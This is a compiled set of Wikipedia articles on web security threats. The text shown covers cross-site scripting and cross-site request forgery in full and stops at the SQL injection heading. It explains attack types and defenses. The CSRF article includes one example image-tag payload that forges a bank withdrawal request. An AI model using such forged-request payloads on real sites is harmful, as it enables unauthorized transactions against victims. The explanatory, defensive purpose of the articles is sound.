Common Web Security Threats

PDF generated using the open source mwlib toolkit. See http://code.pediapress.com/ for more information. PDF generated at: Fri, 23 Dec 2011 09:40:40 UTC

Contents
Articles
Cross-site scripting Cross-site request forgery SQL injection Session hijacking Session fixation Session poisoning Clickjacking Social jacking Remote file inclusion Referrer spoofing 1 7 11 18 21 27 29 32 33 35

References
Article Sources and Contributors Image Sources, Licenses and Contributors 37 38

Article Licenses
License 39

Cross-site scripting

Cross-site scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 80.5% of all security vulnerabilities documented by Symantec as of 2007.[1] Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

Background
Cross-site scripting holes are web-application vulnerabilities which allow attackers to bypass client-side security mechanisms normally imposed on web content by modern web browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including Java, ActiveX, VBScript, Flash, or even pure HTML, and SQL Queries), causing some confusion to newcomers to the field of information security.[2] XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter,[3] Facebook,[4] MySpace, and Orkut.[5] [6] In recent years, cross-site scripting flaws surpassed buffer overflows to become the most common publicly-reported security vulnerability,[7] with some researchers in 2007 viewing as many as 68% of websites as likely open to XSS attacks.[8]

Types
There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

Non-persistent
Example of non-persistent XSS Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in. [9]

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type.[10] These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.[11] Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.[10] [11] A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.[12]

Cross-site scripting A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

Persistent
Example of persistent XSS A persistent cross-zone scripting vulnerability coupled with a computer worm allowed execution of arbitrary code and listing of filesystem contents [13] via a QuickTime movie on MySpace.

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.[11] For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's. Suppose that Mallory, a hacker, joins the site and wants to figure out the real names of the men she sees on the site. To do so, she writes a script that runs from men's browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information. To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallorys profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bobs real name and email directly from his own machine. Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of a client-side worm.[14] The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, etc.) that can be controlled by an attacker could become an injection vector.

Traditional versus DOM-based vulnerabilities

Example of DOM-based XSS Before the bug was resolved, Bugzilla error pages were open to DOM-based XSS attack in which arbitrary HTML and scripts could be injected [15] using forced error messages.

Traditionally, cross-site scripting vulnerabilities would occur in server-side code responsible for preparing the HTML response to be served to the user. With the advent of web 2.0 applications a new class of XSS flaws emerged: DOM-based vulnerabilities. DOM-based vulnerabilities occur in the content processing stages performed by the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents which is called the Document Object Model (DOM). JavaScript programs manipulate the state of a web page and populate it with dynamically-computed data primarily by acting upon the DOM.

Cross-site scripting A typical example is a piece of JavaScript accessing and extracting data from the URL via the location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping, entirely on client side.

Exploit examples
Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the cast of characters commonly used in computer security. Non-persistent: 1. Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. 2. Mallory observes that Bob's website contains a reflected XSS vulnerability. 3. Mallory crafts a URL to exploit the vulnerability, and sends Alice an email, enticing her to click on a link for the URL under false pretenses. This URL will point to Bob's website (either directly or through an iframe or ajax), but will contain Mallory's malicious code, which the website will reflect. 4. Alice visits the URL provided by Mallory while logged into Bob's website. 5. The malicious script embedded in the URL executes in Alice's browser, as if it came directly from Bob's server (this is the actual XSS vulnerability). The script can be used to send Alice's session cookie to Mallory. Mallory can then use the session cookie to steal sensitive information available to Alice (authentication credentials, billing info, etc.) without Alice's knowledge. Persistent attack: 1. Mallory posts a message with malicious payload to a social network. 2. When Bob reads the message, Mallory's XSS steals Bob's cookie. 3. Mallory can now hijack Bob's session and impersonate Bob.[16] Framework: The Browser Exploitation Framework could be used to attack the web site and the user's local environment.

Reducing the threat

Contextual output encoding/escaping of string input
The primary defense mechanism to stop XSS is contextual output encoding/escaping. There are several different escaping schemes that must be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding.[17] Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS in a fairly straightforward manner. It is worth noting that although it is widely recommended, simply performing HTML entity encoding on the five XML significant characters is not always sufficient to prevent many forms of XSS. Encoding can be tricky, and the use of a security encoding library is highly recommended.[17]

Cross-site scripting

Safely validating untrusted HTML input

Many operators of particular web applications (e.g. forums and webmail) wish to allow users to utilize some of the features HTML provides, such as a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as &lt;b&gt;very&lt;/b&gt; large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Stopping XSS when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML policy engine to ensure that it does not contain XSS. HTML sanitization tools such as OWASP AntiSamy [18] and http://htmlpurifier.org/accomplish this task.

Cookie security
Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.[19] To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie.[20] This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker spoofs their IP address, is behind the same NATed IP address or web proxyor simply opts to tamper with the site or steal data through the injected script, instead of attempting to hijack the cookie for future use.[20] Another mitigation present in IE (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is a HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature does not fully prevent cookie theft nor can it prevent attacks within the browser.[21]

Disabling scripts
Finally, while Web 2.0 and Ajax designers favor the use of JavaScript,[22] some web applications are written to (sometimes optionally) operate completely without the need for client-side scripts.[23] This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks. Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. If scripting is allowed by default, then this approach is of limited value, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in IE (since version 4) by setting up its so called "Security Zones",[24] and in Opera (since version 9) using its "Site Specific Preferences".[25] A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some anti-XSS protection even when scripts are enabled.[26] The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).[27] Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.[28] The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.[29]

Cross-site scripting

Emerging defensive technologies

There are three classes of XSS defense that are emerging. These include, Mozilla's Content Security Policy,[30] Javascript Sandbox tools, and Auto-escaping templates. These mechanisms are still evolving but promise a future of heavily reduced XSS.

Scanning service
Some companies offer a periodic scan service, essentially simulating an attack from their server to a client's in order to check if the attack is successful. If the attack succeeds, the client receives detailed information on how it was performed and thus has a chance to fix the issues before the same attack is attempted by someone else. A trust seal can be displayed on the site that passes a recent scan. The scanner may not find all possible vulnerabilities,[31] and therefore sites with trust seals may still be vulnerable to new types of attack, but the scan may detect some problems. After the client fixes them, the site is more secure than it was before using the service. For sites that require complete mitigation of XSS, assessment techniques like manual code review are necessary. Additionally, if javascript is executing on the page, the seal can be overwritten with a static copy of the seal.

Related vulnerabilities
Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits "zone" concepts in certain browsers and usually executes code with a greater privilege.[32] HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).[33] Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.[34] Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered any SQL statements can be executed by the application.[35] [36]

Notes
[1] During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in (PDF) Symantec Internet Security Threat Report: Trends for JulyDecember 2007 (Executive Summary) (http:/ / eval. symantec. com/ mktginfo/ enterprise/ white_papers/ b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008. en-us. pdf). XIII. Symantec Corp.. April 2008. pp. 13. . Retrieved May 11, 2008. [2] Grossman, Jeremiah (July 30, 2006). "The origins of Cross-Site Scripting (XSS)" (http:/ / jeremiahgrossman. blogspot. com/ 2006/ 07/ origins-of-cross-site-scripting-xss. html). . Retrieved September 15, 2008. [3] Arthur, Charles (September 21, 2010). "Twitter users including Sarah Brown hit by malicious hacker attack" (http:/ / www. guardian. co. uk/ technology/ blog/ 2010/ sep/ 21/ twitter-bug-malicious-exploit-xss). The Guardian. . Retrieved September 21, 2010. [4] Leyden, John (May 23, 2008). "Facebook poked by XSS flaw" (http:/ / www. theregister. co. uk/ 2008/ 05/ 23/ facebook_xss_flaw/ ). The Register. . Retrieved May 28, 2008. [5] "Full List of Incidents" (http:/ / projects. webappsec. org/ Web-Hacking-Incident-Database). Web Application Security Consortium. February 17, 2008. . Retrieved May 28, 2008. [6] "Obama site hacked; Redirected to Hillary Clinton" (http:/ / www. zdnet. com/ blog/ security/ obama-site-hacked-redirected-to-hillary-clinton/ 1042). ZDNet. April 21, 2008. . Retrieved May 28, 2008. [7] Christey, Steve and Martin, Robert A. (May 22, 2007). "Vulnerability Type Distributions in CVE (version 1.1)" (http:/ / cwe. mitre. org/ documents/ vuln-trends/ index. html). MITRE Corporation. . Retrieved June 7, 2008. [8] Berinato, Scott (January 1, 2007). "Software Vulnerability Disclosure: The Chilling Effect" (http:/ / web. archive. org/ web/ 20080418072230/ http:/ / www. csoonline. com/ article/ 221113). CSO (CXO Media): p.7. Archived from the original (http:/ / www. csoonline. com/ article/ 221113) on 2008-04-18. . Retrieved June 7, 2008. [9] Amit, Yair (December 21, 2005). "Google.com UTF-7 XSS Vulnerabilities" (http:/ / www. securiteam. com/ securitynews/ 6Z00L0AEUE. html). Watchfire. . Retrieved May 29, 2008. [10] Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. O'Reilly Media, Inc.. p.128. ISBN978-0-596-51483-9.

Cross-site scripting
[11] "Cross-site Scripting" (http:/ / projects. webappsec. org/ Cross-Site-Scripting). Web Application Security Consortium. 2005. . Retrieved May 28, 2008. [12] Grossman, Jeremiah and Robert Hansen, Seth Fogie, Petko D. Petkov and Anton Rager (2007). XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract) (http:/ / books. google. com/ ?id=dPhqDe0WHZ8C). Elsevier Science & Technology via Google Book Search. pp.70, 156. ISBN1597491543. . Retrieved May 28, 2008. [13] This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in "JS/Ofigel-A" (http:/ / www. sophos. com/ security/ analyses/ viruses-and-spyware/ jsofigela. html). Sophos. . Retrieved June 5, 2008. and "F-Secure Malware Information Pages: JS/Quickspace.A" (http:/ / www. f-secure. com/ v-descs/ js_quickspace_a. shtml). F-Secure. January 5, 2007. . Retrieved June 5, 2008. and "JS.Qspace" (http:/ / www. symantec. com/ security_response/ writeup. jsp?docid=2006-120313-2523-99). Symantec Corp.. February 13, 2007. . Retrieved June 5, 2008. [14] Viruses and worms in Alcorn, Wade (September 27, 2005). "The Cross-site Scripting Virus" (http:/ / www. bindshell. net/ papers/ xssv). BindShell.net. . Retrieved May 27, 2008. and Grossman, Jeremiah (April 2006). "Cross-Site Scripting Worms and Viruses: The Impending Threat and the Best Defense" (http:/ / www. whitehatsec. com/ downloads/ WHXSSThreats. pdf) (PDF). WhiteHat Security. p. 20. . Retrieved June 6, 2008. http:/ / web. archive. org/ web/ */ http:/ / www. whitehatsec. com/ downloads/ WHXSSThreats. pdf [15] "Bug 272620 XSS vulnerability in internal error messages" (http:/ / bugzilla. mozilla. org/ show_bug. cgi?id=272620). Bugzilla@Mozilla. 2004. . Retrieved May 29, 2008. [16] Brodkin, Jon (October 4, 2007). "The top 10 reasons Web sites get hacked" (http:/ / www. networkworld. com/ news/ 2007/ 100407-web-site-vulnerabilities. html). Network World (IDG). . Retrieved June 8, 2008. [17] Williams,Jeff (January 19, 2009). "XSS (Cross SIte Scripting) Prevention Cheat Sheet" (http:/ / www. owasp. org/ index. php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet). OWASP. . Retrieved February 4, 2009. [18] Dabirsiaghi,Arshan (November 3, 2010). "OWASP AntiSamy Project" (http:/ / www. owasp. org/ index. php/ Category:OWASP_AntiSamy_Project). OWASP. . Retrieved November 3, 2010. [19] Sharma, Anand (February 3, 2004). "Prevent a cross-site scripting attack" (http:/ / www. ibm. com/ developerworks/ ibm/ library/ wa-secxss/ ). IBM. . Retrieved May 29, 2008. [20] "ModSecurity: Features: PDF Universal XSS Protection" (http:/ / www. modsecurity. org/ projects/ modsecurity/ apache/ feature_universal_pdf_xss. html). Breach Security. . Retrieved June 6, 2008. [21] "Ajax and Mashup Security" (http:/ / www. openajax. org/ whitepapers/ Ajax and Mashup Security. php). OpenAjax Alliance. . Retrieved June 9, 2008. [22] O'Reilly, Tim (September 30, 2005). "What Is Web 2.0" (http:/ / oreilly. com/ web2/ archive/ what-is-web-20. html). O'Reilly Media. pp. 45. . Retrieved June 4, 2008. [23] "A page should work, even if in a degraded form, without JavaScript." in Zammetti, Frank (April 16, 2007). Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader (http:/ / www. amazon. com/ gp/ reader/ 1590598164/ ). Apress. p.36. ISBN1590598164. . Retrieved June 4, 2008. [24] "How to use security zones in Internet ?Explorer" (http:/ / support. microsoft. com/ kb/ 174360/ en-us). Microsoft. December 18, 2007. . Retrieved June 4, 2008. [25] Hkon Wium Lie (February 7, 2006). "Opera 9 Technology Preview 2" (http:/ / labs. opera. com/ news/ 2006/ 02/ 07-2/ ). Opera Software. . Retrieved June 4, 2008. [26] "NoScript" (https:/ / addons. mozilla. org/ en-US/ firefox/ addon/ 722?id=722). Mozilla. May 30, 2008. . Retrieved June 4, 2008. and Mogull, Rich (March 18, 2008). "Should Mac Users Run Antivirus Software?" (http:/ / db. tidbits. com/ article/ 9511). TidBITS (TidBITS Publishing). . Retrieved June 4, 2008. [27] ""Using client-side events" in DataWindow Programmer's Guide" (http:/ / www. elsevier. com/ homepage/ saa/ trac/ progmeth. htm). Sybase. March 2003. . Retrieved June 4, 2008. [28] 73% of sites relied on JavaScript in late 2006, in "'Most websites' failing disabled" (http:/ / news. bbc. co. uk/ 2/ hi/ technology/ 6210068. stm). BBC News. December 6, 2006. . Retrieved June 4, 2008. [29] "NoScript Features" (http:/ / noscript. net/ features). . Retrieved March 7, 2009. [30] "Security/CSP/Specification" (https:/ / wiki. mozilla. org/ Security/ CSP/ Specification). . [31] Sceptic blog (http:/ / blog. skeptikal. org/ 2010/ 03/ website-security-seals-smackdown. html) [32] "Security hole in Internet Explorer allows attackers to execute arbitrary programs" (http:/ / www. h-online. com/ security/ news/ item/ Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225. html). Heise Media UK. May 16, 2008. . Retrieved June 7, 2008. [33] "Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player" (http:/ / www. adobe. com/ support/ security/ bulletins/ apsb06-18. html). Adobe Systems. November 14, 2006. . Retrieved June 7, 2008. [34] Auger, Robert (April 17, 2008). "The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59)" (http:/ / www. cgisecurity. com/ articles/ csrf-faq. shtml). Cgisecurity.com. . Retrieved June 7, 2008. [35] "SQL Injection" (http:/ / projects. webappsec. org/ SQL-Injection). Web Application Security Consortium. 2005. . Retrieved June 7, 2008. [36] "The Cross-Site Scripting FAQ" (http:/ / www. cgisecurity. com/ xss-faq. html). Cgisecurity.com. 2002. . Retrieved June 7, 2008.

Cross-site scripting

External links
BUGTRAQ-VULNERABLE SITE TRACKER (http://bugtraq.totalh.com) (CSS vulnerabilities) WhiteHat Security Vulnerabilties White Paper (http://www.whitehatsec.com/home/assets/ WPStatsreport_100107.pdf) OWASP: XSS (http://www.owasp.org/index.php/XSS), Testing for XSS (http://www.owasp.org/index. php/Testing_for_Cross_site_scripting), Reviewing Code for XSS (http://www.owasp.org/index.php/ Reviewing_Code_for_Cross-site_scripting) Simple XSS explanation (http://www.houbysoft.com/v/en/papers/xss/) The Web Application Security Consortium's Cross-site Scripting Threat Classification Entry (http://projects. webappsec.org/Cross-Site-Scripting) Flash Animation of Cross-Site Scripting Attack (http://www.virtualforge.de/vmovie/xss_lesson_1/ xss_selling_platform_v1.0.swf)

Cross-site request forgery

Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF (pronounced sea-surf[1] ) or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.[2] Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

Background
CSRF vulnerabilities have been known and in some cases exploited since 2001.[3] Because it is carried out from the user's IP address, some website logs might not have evidence of CSRF.[2] Exploits are under-reported, at least publicly, and as of 2007[4] there are few well-documented examples. About 18 million users of eBay's Internet Auction Co. at Auction.co.kr in Korea lost personal information in February 2008. Customers of a bank in Mexico were attacked in early 2008 with an image tag in email. The link in the image tag changed the DNS entry for the bank in their ADSL router to point to a malicious website, impersonating the bank.[5]

Example and characteristics

The attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have been authenticated.[1] For example, one user, Bob, might be browsing a chat forum where another user, Fred, has posted a message. Suppose that Fred has crafted an HTML image element [6] that references an action on Bob's bank's website (rather than an image file), e.g., <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=Fred"> If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
A National Vulnerability Database page describing a CSRF hole

A cross-site request forgery is a confused deputy attack against a Web browser. The deputy in the bank example is Bob's Web browser which is confused into misusing Bob's authority at Fred's direction.

Cross-site request forgery The following characteristics are common to CSRF: Involve sites that rely on a user's identity Exploit the site's trust in that identity Trick the user's browser into sending HTTP requests to a target site Involve HTTP requests that have side effects

At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site that trusts the user and thereby causes an unwanted action. CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript.

Limitations
Several things have to happen for cross-site request forgery to succeed: 1. The attacker must target either a site that doesn't check the referrer header (which is common) or a victim with a browser or plugin bug that allows referrer spoofing (which is rare). 2. The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password). 3. The attacker must determine the right values for all the form's or URL's inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail. 4. The attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site. Note that the attack is blind; i.e., the attacker can't see what the target website sends back to the victim in response to the forged requests, unless he exploits a cross-site scripting or other bug at the target website. Similarly, the attacker can only target any links or submit any forms that come up after the initial forged request, if those subsequent links or forms are similarly predictable. (Multiple targets can be simulated by including multiple images on a page, or by using JavaScript to introduce a delay between clicks.) Given these constraints, an attacker might have difficulty finding logged-in victims or attackable form submissions. On the other hand, attack attempts are easy to mount and invisible to victims, and application designers are less familiar with and prepared for CSRF attacks than they are for, say, password-guessing dictionary attacks.

Severity
According to the United States Department Of Homeland Security the most dangerous CSRF vulnerability ranks in at the 909th most dangerous software bug ever found, making this vulnerability more dangerous than most buffer overflows.[7] Other severity metrics have been issued for CSRF vulnerabilities that result in remote code execution with root privileges[8] as well as a vulnerability that can compromise a root certificate, which will completely undermine a public key infrastructure.[9]

Cross-site request forgery

Forging login requests

An attacker may forge a request to log the victim in to a target website using the attacker's credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log in to the site with his legitimate credentials and view private information like activity history that has been saved in the account.[10] The attack has been demonstrated against YouTube.[11]

Other approaches to CSRF

Additionally, while typically described as a static type of attack, CSRF can also be dynamically constructed as part of a payload for a cross-site scripting attack, as demonstrated by the Samy worm, or constructed on the fly from session information leaked via offsite content and sent to a target as a malicious URL. CSRF tokens could also be sent to a client by an attacker due to session fixation or other vulnerabilities, or guessed via a brute-force attack,[12] rendered on a malicious page that generates thousands of failed requests. The attack class of "Dynamic CSRF", or using a per-client payload for session-specific forgery, was described[13] in 2009 by Nathan Hamiel and Shawn Moyer at the BlackHat Briefings,[14] though the taxonomy has yet to gain wider adoption.

Prevention
Individual Web users using unmodified versions of the most popular browsers can do relatively little to prevent cross-site request forgery. Logging out of sites and avoiding their "remember me" features can mitigate CSRF risk; not displaying external images or not clicking links in spam or untrusted e-mails may also help. Browser extensions such as RequestPolicy (for Mozilla Firefox) can prevent CSRF by providing a default-deny policy for cross-site requests. However, this can significantly interfere with the normal operation of many websites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing, by removing authentication information from cross-site requests. Web sites have various CSRF countermeasures available: Requiring a secret, user-specific token in all form submissions and side-effect URLs prevents CSRF; the attacker's site cannot put the right token in its submissions[1] Requiring the client to provide authentication data in the same HTTP Request used to perform any operation with security implications (money transfer, etc.) Limiting the lifetime of session cookies Checking the HTTP Referer header Ensuring that there is no clientaccesspolicy.xml file granting unintended access to Silverlight controls[15] Ensuring that there is no crossdomain.xml file granting unintended access to Flash movies[16] Verifying that the request's header contains a X-Requested-With. Used by Ruby on Rails (before v2.0) and Django (before v1.2.5). This protection has been proven unsecure[17] under a combination of browser plugins and redirects which can allow an attacker to provide custom HTTP headers on a request to any website, hence allow a forged request. A variation on this approach is to double submit cookies for users who use JavaScript. If an authentication cookie is read using JavaScript before the post is made, JavaScript's stricter (and more correct) cross-domain rules will be applied. If the server requires requests to contain the value of the authentication cookie in the body of POST requests or the URL of dangerous GET requests, then the request must have come from a trusted domain, since other domains are unable to read cookies from the trusting domain. Checking the HTTP Referer header to see if the request is coming from an authorized page is commonly used for embedded network devices because it does not increase memory requirements. However a request that omits the Referer header must be treated as unauthorized because an attacker can suppress the Referer header by issuing requests from FTP or HTTPS URLs. This strict Referer validation may cause issues with browsers or proxies

Cross-site request forgery that omit the Referer header for privacy reasons. Also, old versions of Flash (before 9.0.18) allow malicious Flash to generate GET or POST requests with arbitrary http request headers using CRLF Injection [18]. Similar CRLF injection vulnerabilities in a client can be used to spoof the referrer of an http request. To prevent forgery of login requests, sites can use these CSRF countermeasures in the login process, even before the user is logged in. Sites with especially strict security needs, like banks, often log users off after (for example) 15 minutes of inactivity. Using the HTTP specified usage for GET and POST, in which GET requests never have a permanent effect, is good practice but is not sufficient to prevent CSRF. Attackers can write JavaScript or ActionScript that invisibly submits a POST form to the target domain. However, filtering out unexpected GETs prevents some particular attacks, such as cross-site attacks using malicious image URLs or link addresses and cross-site information leakage through <script> elements (JavaScript hijacking); it also prevents (non-security-related) problems with aggressive web crawlers and link prefetching.[1]

10

References
[1] Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries" (http:/ / shiflett. org/ articles/ cross-site-request-forgeries). php|architect (via shiflett.org). . Retrieved 2008-07-03. [2] Ristic, Ivan (2005). Apache Security. O'Reilly Media. p.280. ISBN0-596-00724-8. [3] Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (http:/ / www. isecpartners. com/ files/ CSRF_Paper. pdf). Information Security Partners, LLC. . Retrieved 2011-12-12. [4] Christey, Steve and Martin, Robert A. (May 22, 2007). "Vulnerability Type Distributions in CVE (version 1.1)" (http:/ / cwe. mitre. org/ documents/ vuln-trends/ index. html). MITRE Corporation. . Retrieved 2008-06-07. [5] "List of incidents for which Attack Method is Cross Site Request Forgery (CSRF)" (http:/ / www. webappsec. org/ projects/ whid/ byclass_class_attack_method_value_cross_site_request_forgery_(csrf). shtml). Web Application Security Consortium. February 2008. . Retrieved 2008-07-04. [6] http:/ / www. w3. org/ TR/ html4/ struct/ objects. html#h-13. 2 [7] US-CERT vulnerability list by severity metric (http:/ / www. kb. cert. org/ CERT_WEB\services\vul-notes. nsf/ bymetric?open& start=908) [8] cPanel Remote Root (http:/ / www. kb. cert. org/ vuls/ id/ 584089) [9] OpenCA CSRF (http:/ / www. kb. cert. org/ vuls/ id/ 264385) [10] Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery (http:/ / www. adambarth. com/ papers/ 2008/ barth-jackson-mitchell-b. pdf), Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2007 [11] Jeremiah Grossman, Google YouTube crossdomain security flaw (http:/ / www. vimeo. com/ 1762861) [12] Inferno Security Blog Brute-forcing CSRF tokens (http:/ / securethoughts. com/ 2009/ 07/ hacking-csrf-tokens-using-css-history-hack/ ) [13] Weaponizing Web 2.0 (http:/ / voices. washingtonpost. com/ securityfix/ 2009/ 07/ weaponizing_web_20. html) [14] Dynamic CSRF (http:/ / www. neohaxor. org/ 2009/ 08/ 11/ dynamic-cross-site-request-forgery/ ) [15] Client access policy file to allow cross-domain access by Silverlight controls (http:/ / msdn. microsoft. com/ en-us/ library/ cc197955. aspx) [16] Cross-domain policy file usage recommendations for Flash Player (http:/ / www. adobe. com/ devnet/ flashplayer/ articles/ cross_domain_policy. html) [17] "Django 1.2.5 release notes" (http:/ / docs. djangoproject. com/ en/ 1. 2/ releases/ 1. 2. 5/ #csrf-exception-for-ajax-requests). Django. . [18] http:/ / secunia. com/ advisories/ 22467/

External links
A Most-Neglected Fact About Cross Site Request Forgery (http://yehg.net/lab/pr0js/view.php/ A_Most-Neglected_Fact_About_CSRF.pdf) Using XSS to bypass CSRF protection (http://packetstormsecurity.org/papers/attack/ Using_XSS_to_bypass_CSRF_protection.pdf) eLearning: Cross-Site Request Forgery Explained (http://www.threadstrong.com/courses/csrf/) The Cross-Site Request Forgery FAQ (http://www.cgisecurity.com/csrf-faq.html) Free Cross-Site Request Forgery Solution from OWASP (http://www.owasp.org/index.php/CSRF_Guard) Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project (http:// projects.webappsec.org/Cross-Site+Request+Forgery) XSS Cheat Sheet (http://ha.ckers.org/xss.html)

SQL injection

11

SQL injection
